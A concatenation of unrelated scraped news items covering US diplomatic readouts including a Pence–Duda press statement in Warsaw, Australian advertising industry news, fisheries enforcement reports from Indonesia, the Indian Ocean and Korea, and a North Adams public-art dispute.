This current government is bent on dismantling all of the gains weve made in the protection of the environment, in human health.

Trump has, on multiple occasions, made clear he does not believe in climate change.Secretary of State Pompeo's Meeting With Hungarian Prime Minister Orban

Budapest, Hungary - Secretary of State Michael R. Pompeo met with Hungarian Prime Minister Viktor Orban in Budapest today to discuss U.S.-Hungary bilateral relations, including ongoing U.S. efforts to bolster the U.S.-Hungary security relationship, counter Russian aggression, and strengthen NATO.

The Secretary welcomed the news that Hungary will be acquiring stronger defense capabilities from the United States. The two also discussed regional stability, EU integration for the Western Balkans, the need for Central European energy diversification, and shared perspectives on the Transatlantic relationship.Deputy Secretary of State Sullivan's Meeting With Republic of Korea's National Assembly Speaker Moon Hee-Sang

Washington, DC - Deputy Secretary of State John J. Sullivan met today with South Korean National Assembly Speaker Moon Hee-Sang and his delegation in Washington, DC. The Deputy Secretary and National Assembly Speaker reaffirmed the ironclad alliance between the United States and the Republic of Korea and pledged to maintain close coordination to ensure the final, fully verified denuclearization of the Democratic Peoples Republic of Korea.

Deputy Secretary Sullivan and Speaker Moon also affirmed their mutual commitment to strengthening trilateral cooperation with Japan, and to achieving our shared goals in the Indo-pacific.Governor Newsom Announces Draw Down of California National Guard on Southern Border

Sacramento, California - Governor Gavin Newsom Monday announced that he has signed a General Order rescinding previous authorization for California National Guard operations at the U.S.-Mexico border that allowed California National Guard personnel to perform duties traditionally undertaken by the federal government there.

Currently, approximately 360 members of the California National Guard are deployed at the U.S.-Mexico border. These National Guard personnel were deployed at the request of the White House to provide support for the federal government in border operations.

Last week, President Trump announced he will be deploying 3,750 U.S. military personnel to the U.S.-Mexico border. Governor Newsoms order cites this development as yet more reason for California to reprioritize its National Guard deployment.Imperial Valley News Center

First Lady Melania Trumps Meeting with First Lady Maria Juliana Ruiz Sandoval of Colombia

Washington, DC - First Lady Melania Trump joined President Donald J. Trump in welcoming President Ivan Duque Marquez and First Lady Maria Juliana Ruiz Sandoval of Colombia to the White House this afternoon.

Over lunch in the Red Room on the State Floor of the White House, Mrs. Trump and Mrs. Ruiz Sandoval discussed the opioid crisis in the United States and the devastating impact it is having globally, especially on children and young mothers. In particular, Mrs. Trump addressed the drug addiction problems amongst youth within the United States, and the work she is doing through her initiative, Be Best, to raise awareness about the harmful effects substance abuse can have on the next generation.

Last week I met with experts at the Office of National Drug Control Policy to learn more about the harmful effects of substance abuse and the steps we are taking to address this problem, said First Lady Melania Trump. We must continue raising awareness so parents and communities can understand fully the harm that opioids are having on our children. My conversation with the First Lady of Colombia today further encouraged a global mission to fighting the addiction crisis and issues facing children domestically and all around the world.Imperial Valley News Center

President Donald J. Trump and President Ivan Duque Marquez on the Crisis in Venezuela

Washington, DC - Joint Statement by President Donald J. Trump and President Ivan Duque Marquez on the Crisis in Venezuela:

The United States and Colombia are committed to taking steps to resolve the ongoing democratic and humanitarian crisis in Venezuela.

Both countries strongly support Interim President of Venezuela Juan Guaido, and call on all countries around the world to support peace and stability in the region by recognizing President Guaido and supporting the Venezuelan people.

Through close bilateral partnership, and with the support of regional and global allies, the United States and Colombia are working together to provide aid to Venezuelans in need. Both countries will work with the Guaido government to restore freedom, democracy, and prosperity to Venezuela.

The United States and Columbia stand side by side with many other nations in the face of any provocation by the illegitimate, former dictator of Venezuela, Nicolas Maduro, and those who work on his behalf to undermine the security and safety of the region.Imperial Valley News Center

Vice President Pence and President Duda of Poland in Joint Press Statement

Warsaw, Poland - Vice President Pence and President Duda of Poland in Joint Press Statement:

PRESIDENT DUDA: Your Excellency, most distinguished Mr. Vice President of the United States, Mike Pence; distinguished Minister of National Defense; esteemed Mrs. Pence, the Second Lady of the United States; all distinguished guests led by the Ambassador of the United States to Poland; ladies and gentlemen: I am delighted and we are delighted, together with my wife, to be able to host the Vice President of the United States, Mike Pence, together with his wife here in Warsaw.

We are happy that the visit paid by Mr. Vice President, which is connected, of course, with the Middle East conference, which will soon start, as its first item has got this political bilateral component between our two countries  between Poland and the United States.

And today, for a few hours, we have been able to touch upon important and interesting topics of interest, which, in this space between the United States and Poland today, constitute the most important issues  issues connected with our cooperation with the NATO Alliance and our economic cooperation.

Our meeting today started on a very symbolic note. It started when Minister of Defense Mariusz Baszczak signed today an agreement on the future deliveries to Poland of High Mobility Artillery Rocket System, HIMARS, which I hope are one of the most important elements of the revolution in the Polish defense military infrastructure which we have been implementing for a couple of years now, which we refer to as the modernization process of the Polish Armed Forces. This is the cutting-edge equipment from the United States, which I believe is going to serve to strengthen our security.

I am delighted indeed that, together with Mr. Vice President and our wives, we had an opportunity to meet with our troops as well. We had Polish soldiers present at the ceremony, as well as the soldiers of the U.S. Armed Forces. The meeting was very pleasant and nice. But, at the same time, it had a very symbolic element in it, demonstrating American presence  military presence  in Poland as part of the North Atlantic Alliance and as part of the alliance between our two states.

We also discussed, together with Mr. Vice President, some  precisely the U.S. military presence. Im really delighted because Mr. Vice President said that U.S. soldiers and U.S. officers who are deployed in Poland, and those who were in Poland before, assessed very highly the conditions here, briefly speaking, that they are pleased with their stay, with their service in Poland. I heard that the conditions we have provided them with are considered to be absolutely appropriate.

Im happy to share that they are pleased with the cooperation with the Polish military authorities and civilian authorities as well. So Im happy that our cooperation is going on very smoothly.

I hope that our joint efforts aimed at increasing the presence of U.S. Armed Forces in Poland are going to bring effects soon. In the nearest future, first, planning decisions are going to be taken in this respect. This is what we should expect.

We also discussed other issues, which are clearly included in the Declaration on Enhanced Strategic Partnership, which myself and President Donald Trump signed in Washington. Namely, we talked about the energy cooperation. We also talked about economic cooperation.

The energy cooperation is a topic of great importance in our mutual relations. Today, we have already signed a series of agreements to import LNG to our Swinoujscie terminal. Right now, works are ongoing, connected with increasing the capacity of that LNG terminal. We hope that the works will be concluded, with an expected effect and planned effect. In other words, we hope to increase this capacity to more than 7 billion cubic meters of gas per year. And we do hope that a large amount of that gas, which is supplied to Poland, is going to be supplied precisely from the United States.

Apart from that, we are planning to make further investments in this respect, and this is what I flagged out in my conversation with Mr. Vice President.

We also discussed the development of gas network in our part of Europe. We discussed gas security. We also discussed energy security. And, as far as other sources of energy are concerned  electricity, for instance  I also mentioned that Minister Piotr Naimski, on the 11th of March, is going to discuss about this in the United States with the Secretary responsible for energy within the U.S. administration, Mr. Rick Perry.

These are going to be talks about cybersecurity and also gas energy cooperation. But these talks will also concern cooperation on electricity. So these are going to be the topics of interest, topics of importance, in which we are going to implement this enhanced partnership in the nearest future. This is also something that we discussed today with Mr. Vice President.

Apart from that, we talked about general business cooperation. Poland right now is developing very fast. Our economic (inaudible) has been better than we expected, better than the analysts predicted, including different global agencies. So that situation is very good, and I believe that also further American investments and our investments of the Polish business in the United States are going to contribute to the development of the situation.

Of course, we also discussed cybersecurity, which is most important right now in the global space. Once again, let me stress that Im delighted with this important visit paid by Mr. Vice President to Poland. Im delighted with this (inaudible) in a series of meetings with top representatives of the U.S. administration.

And last year, I paid a visit to Washington, and before, President Donald Trump visited Warsaw. All of us have vivid memories of that visit. And I hope that our contacts this year, Mr. Vice President, are going to be very intensive indeed, because this is a special year in which we are celebrating the centennial of establishing diplomatic relations between Poland and the United States, and between Poland, which was reborn in 1918, and the first great global superpower which acknowledged Poland back then as a reborn state. That superpower was the United States of America in 1919. And after the declaration of President Woodrow Wilson, that was another beautiful gesture made by the United States vis-a-vis the Polish State. And all of us remember that until the day.

Having said that, I also hope that also this year is going to be of special importance, but unique in our relations. Once again, thank you very much. Thank you to you, Mr. Vice President. Thank you to the Second Lady of the United States for their presence in Poland.

And I hope that to you, Mr. Vice President, its going to be a fruitful visit, and to both of you, its going to be a fruitful and successful visit to our country. Thank you. Thank you, Mr. President.

And now I would like to ask the Vice President of the United States to give his statement, Mr. Michael Pence.

VICE PRESIDENT PENCE: Well, thank you, President Duda. Thank you for those very kind words and for the warm hospitality that you and the First Lady have shown to my wife Karen and me during our very first visit to Poland. I couldnt be more honored to be here representing the United States of America, to join you here in this beautiful place, in this historic year in the life of this nation, to reflect on and to celebrate the remarkable bond that exists between our peoples and our two nations.

And, Mr. President, Im here today on behalf of a friend of yours who came to this country just two years ago, who welcomed you to the White House last September, and a great champion of the United StatesPoland alliance. I bring greetings this morning from President Donald Trump.

The United States and Poland have a shared and special bond since the very earliest days of our republic. Today, Polish-Americans are one of the most vibrant threads of the American fabric. We cherish their rich heritage, we admire the great faith of the Polish people, and we continue to draw inspiration from their steadfast love of freedom.

Mr. President, our countries are friends because we share the same values  a point that you and I reflected on in all of our conversations today. And in a world thats growing more unpredictable  and, in many ways, more dangerous since the fall of the Soviet Union  our alliance has grown more vital and more important than ever before.

Thats why, as you and I just discussed, our countries are working more closely together on a wide range of issues, and we will continue to. And thanks to your leadership, Mr. President, and that of President Trump, today the United StatesPoland alliance is stronger than ever before.

In the last two years, our countries have made unprecedented investments in our common defense and shown the world that our commitment to the NATO Alliance is unwavering.

Last March, the United States was proud to support Polands purchase of the Patriot missile defense system  a battle-tested, NATO-interoperable system that is used by the United States Army and many of our closest allies to protect their people and defend their sovereignty.

Last September, I was pleased to join President Trump as he hosted you at the White House. There, the two of you signed a joint declaration of strategic partnership. And under that agreement, our nations are already improving our intelligence sharing, expanding our joint military exercises, and strengthening our collaboration in the fight against cyber threats to ensure that were prepared to face the security challenges of the future together.

And just today, it was my great honor, along with you, Mr. President, to represent the United States at a very special ceremony as your Defense Minister signed a historic agreement to purchase 20 High Mobility Artillery Rocket System launchers from the United States, as an ongoing testament to our close security cooperation.

And now, our two countries are discussing the parameters for increased United States military presence in Poland. And Ill be carrying back your strong convictions regarding that to President Trump and to our leaders in the Defense Department when I return to the United States.

Poland is one of only eight NATO Allies who currently meet the commitment to spend at least 2 percent of your gross domestic product on defense. And today, thousands of American soldiers stand guard at the eastern flank of the NATO Alliance along with your soldier-in-arms, as well.

Just a few hours ago, I shared that moment that you just described, Mr. President, to address several hundred American soldiers in the presence of hundreds of Polish soldiers stationed near Powidz. These men and women are freedoms first line of defense in Eastern Europe. They have the gratitude of Polish people, the gratitude and admiration of the American people and of freedom-loving people around the world.

But just as important to our national security is our economic security. And we spoke much about that today, Mr. President. So last September, you and President Trump also announced a new U.S.-Poland Strategic Dialogue on Energy. And we welcome that. That effort was designed to ensure that neither of our countries, nor any country in Europe, becomes dependent on Russia for its energy needs.

Since last October, Poland has signed three separate agreements with American energy companies, which, in four years time, will allow you to import more than 7 billion cubic meters of natural gas a year. And we welcome this collaboration.

Now we look forward to working with you as you develop other energy sources, including nuclear power, as we discussed today. And President Trump and I, and our administration, are truly grateful for your bold stand in opposition to Nord Stream 2.

The United States also welcomes Polands partnership as we work to protect the telecommunications sector from China. The recent action that your government has taken against a Huawei executive and a Polish national accused of cooperating with him demonstrate your governments commitment to ensure our telecommunications sector is not compromised in a way that threatens our national security.

We must continue to work together to ensure that all investment review mechanisms protect critical security and economic infrastructure going forward. And, Mr. President, we are grateful for your leadership and your actions.

The United States stands behind Poland as it has stepped up and taken a leadership role as well in the Three Seas Initiative. As President Trump said not long ago, With the expanded trade and new infrastructure between our two countries, we [can] unleash incredible energy innovation thats safe, responsible, and environmentally friendly.

And these actions, the relationship between our two nations, will continue to grow stronger, and the future of security in Europe will grow brighter.

But we know there is still more work to do on many fronts.

No threat looms larger in Poland than the specter of aggression from your neighbor to the east.

Despite years of negotiations, Russian forces still occupy large parts of Georgia and Ukraine, and they recently unlawfully detained Ukrainian ships and their crews in the Black Sea.

Moscow seeks to divide our alliance, with its oil and gas reserves, with its new arsenal of nuclear weapons, and with its efforts to meddle in elections across Europe and around the world.

But in the face of these provocations, and in solidarity with Poland and our European partners, President Trump has done more to confront Russias actions than any President in modern history.

Now, the Polish people need no lecture on the dangers of an aggressive Russia. And our neighbors to the east would do well not to underestimate the capabilities of our combined armed forces or to underestimate the indomitable will of the Polish people.

In recent years, Poland has become one of our most crucial allies and a major player in world affairs. Poland sent one of the largest contingents of troops to our allied operations in Iraq and was a valued member of our 79-partner-strong coalition to defeat ISIS.

And this week, Poland is taking another leading role of worldwide significance, Mr. President, as your nation hosts the very first-ever Ministerial to Promote a Future of Peace and Security in the Middle East.

Mr. President, I do want to extend the thanks of President Trump and all the American people to the people of Poland for taking this strong stand in support of peace and prosperity and the advance of human rights across the Middle East. And your willingness to host this conference, historic as it is, is a testament to your commitment to those values and those principles.

And today, Mr. President, as you stand with us, well stand with you and the people of Poland as we seek to build a brighter

future in the Middle East and for all freedom-loving people across the world.

And today, Mr. President, Im here just to say thank you  thank you to you and all the Polish people, on behalf of the people of the United States of America. Were allies, yes, but more than that, were friends. We have an abiding friendship thats grounded in the ideals of freedom and democracy, and its grounded in generations of heritage.

With your leadership in Poland, with the leadership of President Donald Trump in the United States, with the friendship and the unbreakable bond between our two peoples, and with Gods help, I know well continue to advance the prosperity and security of both of our countries. And together, we will forge a brighter future for all of the world.

As the great Polish hero Lech Waesa once said, We hold our heads high, despite the price we have paid, because freedom is priceless.

Today, we in the United States hold our heads high  just as you do and the Polish people do, Mr. President  as we stand shoulder to shoulder with you for the priceless gift of freedom.

So thank you for your hospitality. God bless you. God bless Poland. And God bless the United States of America.| BY Ricki Green |

Independent healthcare agency, Ward6, has been quietly changing the way it does business, ensuring creativity and innovation are at the forefront of every conversation and every brief.

A year ago, Stuart Black, group CEO, made a series of pivotal new hires for the agency, including those of Scott Davis, strategy director and Dr Alisa Knapman, medical writer and promoted Danny Corcoran into the newly-created role of innovation director.

Says Black: We adjusted our structure as our clients needs evolved.

The result has been improved profitability and the agency being awarded three major new assignments from pharmaceutical giants, Novartis, Pfizer, and Sanofi. The new business includes a product launch, a consumer-facing social campaign, and a pharmacy-based education campaign.

The agency has also announced four new hirings: Caroline Dwyer as group account director, Camilla Beach as senior account manager, Joanne Yabsley as business co-ordinator and Mike Smith as senior writer.

And its not only Ward6 that is doing well.

Says Black: In Ward6 and McCann Health I feel like we have the two best healthcare agencies in the country. Its something were very proud of.

The businesses continue to act as separate agency brands and are firewalled to maintain client confidentiality.(The Center Square)  With the Democrat-sponsored election law changes failing to advance in the U.S. Senate, Illinois congressional delegation may be closing in on where the two sides can agree: Redistricting reform.| BY Ricki Green |

Premium New Zealand wine brand Kim Crawford has launched its first Australian consumer content campaign via Verizon Medias RYOT Studio.

Building upon Kim Crawfords reputation in the US as the number one New Zealand wine, this is the brands first advertising venture into the Australian market. In partnership with RYOT, the campaign aims to build brand awareness and target a receptive Australian audience to highlight Kim Crawford as the perfect drink for key moments throughout summer.

The campaign features ten dynamic editorial stories some of which leverage upcoming key events such as the Valentines Day gift guide, and others which will be produced reactively based on audience insights analysed in real time. In addition, RYOT have produced four delicious cocktail recipe videos to inspire those looking to impress this summer/autumn using Kim Crawford Rose.

The videos run natively on Yahoo Lifestyle and can be watched here: Daquirose, Rosenade, Rose Cosmo and Rose Mimosa.

In a first of its kind, RYOT Studio have engaged Carats strategy team and programmatic trading desk, Amnet, to run the entire digital distribution element of the campaign through Oath Ad Platforms DSP.

Says Samantha Benney, marketing and digital manager, Kim Crawford: Kim Crawford is a world-leading NZ wine brand which despite the close proximity, has had limited exposure to a valuable Australian audience. Generating awareness of Kim Crawford in the Australian market in an innovative and different approach is what we needed to ensure it is in the consideration set of the everyday consumer which is why this partnership seemed like an amazing opportunity to weave our story into the daily lives of Lifestyle readers in a refreshing and effective way.

Says Zoe Cocker, head of RYOT: By combining the power of RYOT, Yahoo Lifestyle and Oath Ad Platforms, we were able to showcase Kim Crawfords premium wine in a new and dynamic way, reaching their intended audience at scale. Kim Crawford have been a brilliant partner, showing incredible trust and enthusiasm for our creative ideation process which has enabled us to create a narrative that effectively adapts to a local audience in real time.

With the help of Carat and Amnet, weve been able to combine our internal creative content with external programmatic distribution, bringing together multiple facets of the evolving digital landscape. This campaign marks the beginning of a step change in how we are seeing premium branded content scaling through brand safe programmatic distribution.

Agency: Carat Media, MT Sparks

Client: Kim Crawford, Sam Benney

RYOT Studio

Head of RYOT  Zoe Cocker

Editorial Lead  Carly Williams

Production Manager  Leah Yeung

Sales manager  Lana Selimovic

Senior Platform Account Partner Kristine Celona| BY Ricki Green |

EXIT director Glendyn Ivin has released his latest spot  for Bank of New Zealand via Colenso BBDO  a delightful father-daughter story that harnesses his talent for eliciting strong performances.

Says Steve Cochran, ECD, Colenso BBDO: Following our Bank of New Zealanders work of the last two years with this sweet little story has been a delight. I certainly didnt have to look far for inspiration with two young daughters. Glendyn then did such an amazing job of capturing these genuine performances  its hard not to love their father daughter relationship.

The spot comes off the back of Ivins latest television series The Cry, a 4x1hr BBC One drama that premiered to 6 million viewers in the UK last year, and which launched in Australia on the ABC last Sunday.

The Guardians Luke Buckmaster said: The Cry is a brilliant, gobsmacking drama and a must watchthe results are extraordinary, in a production thats thrillingly impressive across the board  with a great script, great acting, classy cinematography (from Sam Chiplin) and a philosophically chewy premise.

Last December Ivin won the AACTA Award for Best Direction in a Television Drama for his shattering SBS series Safe Harbour, also shot by Sam Chiplin.

For commercial work enquiries contact Leah Churchill-Brown at leah@exit.com.au.

Click here to view Ivins reel and to watch The Cry click here.

Client: Bank of New Zealand

Acting Head of Brand: Briar Rowe

Acting Brand Strategy and Creative Manager: Bec Reynolds

Agency: Colenso BBDO

Executive Creative Director: Steve Cochrane

Creative Director: Maria Devereux

Group Business Director: Lucy Grigg

Project Director: Mike Bonner

Senior TV Producer: Natasha Gill

Production Company: EXIT Films NZ

Director: Glendyn Ivin

Producer: Alice Grant

DOP: Sam Chiplin

Editor: Jack Hutchings  The Butchery

Post production: Blockhead VFX

Music & Sound Design: Franklin Road

Photography: Match Photographers

Casting: Catch Casting / Kirsty McGregor CastingUh-oh! It could be you, or it could be us, but there's no page here.Note: We've recently updated our online systems. If you can't login please try resetting your password. You must login with an email address. If you don't have an email associated with your account email circulation2@journalnet.com for help creating one.Comment Policy Calaveras Enterprise does not actively monitor comments. However, staff does read through to assess reader interest. When abusive or foul language is used or directed toward other commenters, those comments will be deleted. If a commenter continues to use such language, that person will be blocked from commenting. We wish to foster a community of communication and a sharing of ideas, and we truly value readers' input.We've recently updated our online systems. If you can't login please try resetting your password. You must login with an email address. If you don't have an email associated with your account email circulation@idahopress.com for help creating one.Tough policing is restoring Indonesias fisheries

by Nithin Coca

February 12,2019 | Source: china dialogue ocean

Five years ago the worlds most populous archipelago nation started taking action against the decimation of its fish stocks. Indonesias waters were being plundered by vessels from nearby countries, particularly China and Thailand, but also Taiwan, South Korea and Malaysia.



When Susi Pudjiastuti became minister of fisheries and maritime affairs in 2014, she began dramatically curbing this practice of illegal, unreported and unregulated (IUU) fishing. A report last year found a more than 80% drop in foreign vessels fishing in Indonesian waters, as well as evidence of increased catches by Indonesian fishermen.



Before this paper, the ministry [of fisheries] would say their anti-IUU policy was having an effect, and would throw in numbers, but there was no hard evidence, said Reniel B Cabral, a lead author of the report, from the University of California, Santa Barbara. We used independent data  to show that there really is an effect, and gave confidence to Indonesia that [their policy] was working.



The main reason for the change? Fewer Chinese vessels engaged in IUU fishing. Such vessels had been responsible for between 2,000 and 5,000 hours of fishing per month  nearly ten times that of the next biggest perpetrators, Thai vessels. Monitoring the situation using satellites and other means, Cabrals team found the policy had brought those thousands of hours down to virtually nil.



Susis muscular strategy for defending Indonesian fisheries included the sinking of 488 IUU vessels since October 2014. Only one of these was carrying a Chinese flag. However, many of the 26 vessels illegally using Indonesian flags were likely connected to China. Susi has attributed this low proportion partly to superior technology on Chinese boats which makes them more difficult to capture. Indonesia may also be loath to test its relationship with China too explosively.



China has the largest fleet of distant water fishing vessels. Greenpeace puts the number at around 2,500. While its total catch is hard to determine, the existing data sketches an alarming picture. A study by the non-profit Global Fishing Watch suggested they outstrip the total fishing hours of the next ten countries combined.



Under Minster Susi, Indonesia has taken a lead role in the fight against IUU fishing. Last October, the country hosted the Our Ocean conference to foster cooperation and action on global marine policies. China was conspicuous in its absence.



Not attending the conference in Bali was a missed opportunity for China to show their level of seriousness and commitment to ocean issues, said Amanda Shaver, research associate with the Environmental Security programme at the Stimson Center.

 China Dialogue

Theme(s): Fishing Craft, Gear and Fishing Methods.Tuna investigation slams use of FADs in Indian Ocean

by Nicki Holmyard

February 11,2019 | Source: SeafoodSource

An investigation by French state television broadcaster France 2 into the use of fish aggregating devices (FADs) to catch juvenile yellowfin tuna in the Indian Ocean, aimed to highlight the dark side of the industry to consumers.



Use of FADs has been widespread since the 1980s, but their use now sits at the center of global discussions on the long-term sustainability of tuna stocks and the ecological impact of tuna fisheries. An addition to being associated with the catch of juvenile tuna, FADs are linked to bycatch of vulnerable non-target species such as barracudas, sharks, and turtles, the modification of tuna habitat, damage to coastal habitats from lost and broken-up structures that end up on beaches, and interference with other maritime activities, France 2 reported.



FADs can be natural or artificial floating objects or rafts, which are often made from local materials such as wood, bamboo, pieces of net, twisted rope and floats. They can either be anchored in place or left untethered to drift on the ocean surface. GPS tags are used to facilitate location, and fishers use them as a highly-effective method of improving catch rates and reducing operating costs, as tuna are attracted to the debris.



According to the FAO, in spite of intensive research, the reason why fish are attracted to FADs remains a mystery, but it is possible that they are attracted to floating objects that provide a refuge from predators.



In the two-hour long documentary, entitled Peche industrielle: gros poissons en eaux troubles, (Industrial fishing: big fish in troubled waters), which was broadcast on Tuesday, 6 February, presenter Sophie le Gall told viewers that the long-term future of the fishery was under threat because many of the fish being caught are immature and have therefore not had the chance to reproduce.



Viewers were shown a vessel sailing up to and encircling a FAD with large a seine net, then banging on the hull with wooden staves, to scare the tuna into the net. In the Indian Ocean, yellowfin tuna is considered to be 90 percent overfished, but many small juveniles were shown being landed into the hold of the vessel. Fishermen told le Gall that the practice has become carnage.



"It's no longer fishing, it's harvesting," said one.



Yvon Riva, president of Orthongel, the French organization of frozen tuna producers, acknowledged that sharks are collateral damage," while the catching of juvenile tuna is "a mess," he said.



Le Gall explained that the global tuna market is worth more than EUR 33 billion (USD 37 billion) per year. Canned tuna is particularly popular in France, with eight out of 10 households making regular purchases.



Le Gall's team visited Victoria, in the Seychelles, where a 20-strong French fleet of 100-plus meter vessels has relocated from Brittany, in the north of France, due to the depletion of local tuna resources there.



Victoria is also home to a Thai Union cannery, one of the largest in the world. Regarded as the worlds biggest producer of shelf-stable tuna products, with annual sales exceeding THB 135 billion (USD 4.030 billion), Thai Union owns well-known brands including Chicken of the Sea, John West, Petit Navire, Mareblu, and Rugen Fisch.



The French 2 investigation found that the Thai Union group used its acquisition of the Luxembourg-based Petit Navire brand to circumvent French tax laws.



They also found that the European Union pays subsidies for Spain and France to have access to the Seychelles fisheries resources. This money was used to modernize the Seychelles' main port for the benefit of foreign tuna vessels, rather than being used to help local artisanal fishermen, which was the intended purpose of the funding, the investigation found.



The program also investigated the bluefin tuna fishery in the Mediterranean, which operates from Sete in the south of France. A handful of families own more than 90 percent of the quota for this fish, which can fetch up to EUR 10,000 (USD 11,300) per metric ton. Around 120 longline fishermen share the remaining quota.



It was claimed that while E.U. subsidies were used to decommission a large part of the fleet some years ago, several shipowners had managed to recover their fishing quotas and were now operating a modern fleet, with the benefit of further E.U. subsidies. Work by the Bloom Association was referenced, which shows that the biggest companies obtain the largest percentage of public subsidies.



Questions were also raised but not answered in the program about the ownership and quota allocation of Libyan tuna boats moored in Sete.



Following a debate at the end of the show on how consumers can act to limit overfishing, Citizen Boycott called for a boycott of Petit Navire tuna. However, in a letter to the French activist organization, Petit Navire General Manager Amaury Dutreil said that he felt the information given in the program was disjointed and biased.



A sustainable fishery is essential to the durability of our business. We only fish adult tuna, and most of the fish are not caught under FADs, Navire wrote. We carry out many projects in collaboration with Greenpeace and WWF, you can check it on their sites."



Meanwhile, in the Pacific Ocean, an ocean-wide three-month ban on the use of FADs has been extended for another year to allow tuna stocks to continue to recover. The FAD ban applies to purse seiners in the Pacific countries exclusive economic zones and high seas areas from 1 July to 30 September, with an additional two-month prohibition on FAD use on the high seas.



According to Ludwig Kumoru, chief executive of the Parties to Nauru Agreement (PNA), which controls the world's largest sustainable tuna purse seine fishery, levels of bigeye tuna stocks in the Pacific were improving, but not enough to lift the annual three-month ban on FADs, which was put in place 11 years ago. The ban followed warnings by the Western and Central Pacific Fisheries Commission that tuna stocks had fallen to around 32 percent of their pre-industrialized fishing levels. The ban will continue until through at least 2021.



Kumoru estimates that between 50,000 and 80,000 FADs are deployed in PNA waters annually. These make use of sonar and satellite buoys, the data from which enables fishing companies to estimate where most tuna congregate.

 2019 Diversified Communications. All rights reserved.

Theme(s): Fishing Craft, Gear and Fishing Methods.New fisheries law to enhance sustainable food production in Uganda

by Samuel Nabwiiso

Uganda will soon have a new Fisheries and Aquaculture law, if the proposed Fisheries and Aquaculture Bill, 2018, being reviewed, is approved by Cabinet.



The proposed law is a revision of the Fish Act of 2000 Cap 197, which only regulates capture fish and does not address aquaculture activities. These include management of commercial fishing, fish selling, post-harvest handling, fish transportation, surveillance and control monitoring of fisheries units as well as fisheries research.



The Bill is part of efforts by Ministry of Agriculture, Animal Industry and Fisheries to provide an enabling policy and regulation framework to the stakeholders engaged in fisheries and aquaculture activities.



The fisheries and aquaculture sub-sectors contribute significantly to Ugandas national economic growth, development as well as food and nutrition.



Uganda has one of the largest fresh water resources in the world with almost 20 percent of its surface area covered with water. The expansive water resources have supported the fisheries sector, enabling both capture and farmed fisheries since 1920s.



The sector contributes about 12 percent of agricultural GDP of Uganda and supplies 50 percent of animal proteins consumed in the country. Despite the above economic benefits, the fisheries sector in the country, according to critics, is under-performing due to challenge that needs to be addressed through having strong legal regimes.



Some of the challenges that the new Law may address are the issues related to use of illegal fishing gear, poor quality fish seeds, limited access to fish seeds and feeds as well as continued trade in illegal and unrecorded immature fish. Such challenges are said to be costing Uganda about US$ 429 million in income lost annually.



Addressing stakeholders during a National Validation Workshop of the Fisheries and Aquaculture Bill, at Colline Hotel in Mukono on January 25, Minister for Agriculture Vincent Ssempijja said the current Law is out-dated thus the need for government to come up with new regulations that will support the development of the fisheries sector in the country.



While the Fish Act, Cap 197, provides for the control of fishing, fish conservation, purchase, sale, marketing, processing of fish, it is now out-dated to address current technological advancement and the changed fisheries sector, he said.



He added that, The Fisheries and Aquaculture Bill is long awaited in Parliament and should be finalized as soon as possible to facilitate its enactment into law.



The workshop was organised by the Food and Agriculture Organization of the United Nations (FAO).

 Design Publications, S.A de C.V.

Theme(s): Fisheries Development and Aquaculture.Korea fails to tackle IUU fishing

February 08,2019 | Source: World Fishing

International and Korean non-governmental organisations (NGO) have condemned the Korean government for mishandling a case of illegal, unreported and unregulated (IUU) fishing that occurred in the Antarctic.



In December 2017, two distant water fishing vessels owned by the Hong-Jin company violated conservation measures of the Convention for the Conservation of Antarctic Marine Living Resources, an international fishing body established by the UN to protect Antarctic waters.



The vessels fished illegally over the course of four days, catching 70 tonnes of tooth-fish. The Korean government promised to ensure the operator did not receive any financial benefit and barred the boats from fishing for 60 days.



However, the NGOs have criticised the Korean government, pointing out that the suspension was applied during a non-fishing period, meaning it had little or no impact. Moreover, the illegal catch was returned to the operator who then sold it for more than US$800,000.



In their statement, the NGOs said: Contrary to what the Korean government announced internationally, Korean officials allowed the IUU-caught fish to enter not only Korea but also the international market.



Even worse, the government is claiming that they are not aware of its destination. This incident reveals how legal loopholes and untransparent (sic) fishery governance can be exploited.



In October 2018, South Koreas Minister of Fisheries signed a pledge to work more closely with the European Union to tackle IUU fishing.

 Mercator Media Ltd 2019, All Rights Reserved

Theme(s): Fishing Craft, Gear and Fishing Methods.The Public Arts Commission composition has changed over the past year. Original members William Blackmer, top left, and Cynthia Quinones and Eric Kerns, top right, have been joined by Derek Parker, Bryan Sapienza and Sarah Sutro.

Public Arts Commission Offers to Broker Talks With Pillar Artists



The Public Arts Commission is hoping to find a spot for artists to recreate their work or to create new public art. NORTH ADAMS, Mass.  There may be a breakthrough in the lingering controversy over the painted-over pillars on the Veterans Memorial Bridge.

At Monday's Public Arts Commission meeting, the commissioners and artist Christina King agreed to discussions to find an alternative site for something similar to the pillar art.

"I would advocate that in 30 days that this commission brokers a meeting with whoever you want who is directly involved in the decisionmaking of this work," Vice Chairman Eric Kerns said. "And that a decision is made. Is that fair?"

King said she could not speak for fellow artist William Oberst, but thought a location with "equal prominence" would be suitable.

"I'm certainly willing if somebody could come up with something that gave us this kind of presence," she said.

Commissioner Bryan Sapienza said someone had suggested to him that the artwork could be placed more prominently on the span of the bridge, similar to the banners used by the city.

King said the goal of the project had been to attract visitors to the downtown in addition to celebrating the city's textile history.

"If you're going under the pillars, you're more interested in what the traffic is doing," Sapienza said, adding that the lighting and visibility would be better on the span.

King thought it could be "a very fine meeting in the middle."

In 2012 and 2013, King, a Greylock School art teacher, had worked with sixth-grade students to paint murals depicting pillow patterns made at the old Arnold Print Works and images from the famed Lewis Hines photographs of local mill children. The project had been part of an afterschool program and tied in with studies of the city's industrial past in the classroom. The paintings had included the collaboration of Oberst and others.

Almost two years ago, Massachusetts Museum of Contemporary Art had repainted the pillars a solid gray as part of a restoration of the longstanding "Harmonic Bridge" sound installation below the bridge.

The PAC did not exist at the time of either of the original paintings and neither set of works has any documented contract; both were apparently verbally approved by the mayor at the time. The museum, however, did not notify the PAC of the restoration. The third mayor in this, Thomas Bernard, had declined to approve taking a sample to see if the paintings could be restored, a request the PAC had also rejected in 2017 because it felt Mass MoCA would also have to be involved.

King confirmed that Bernard had determined there would be no testing and that the artists had been offered Egyptian artist Alaa Awad's mural to overpaint.

"We thought that would be inappropriate," she said, because it would have been the same action taken against them. A second request to take a sample was submitted to the PAC in November but not acted upon.

There was some discussion of what would happen if the test sample showed that the school art could be restored  which would affect the original "Harmonic Bridge" installation and its restoration.

"It would be contrary to the goals and missions of this commission to advocate for the destruction of another artwork," Kerns said during the discussion, adding, "how many wrongs make a right?"

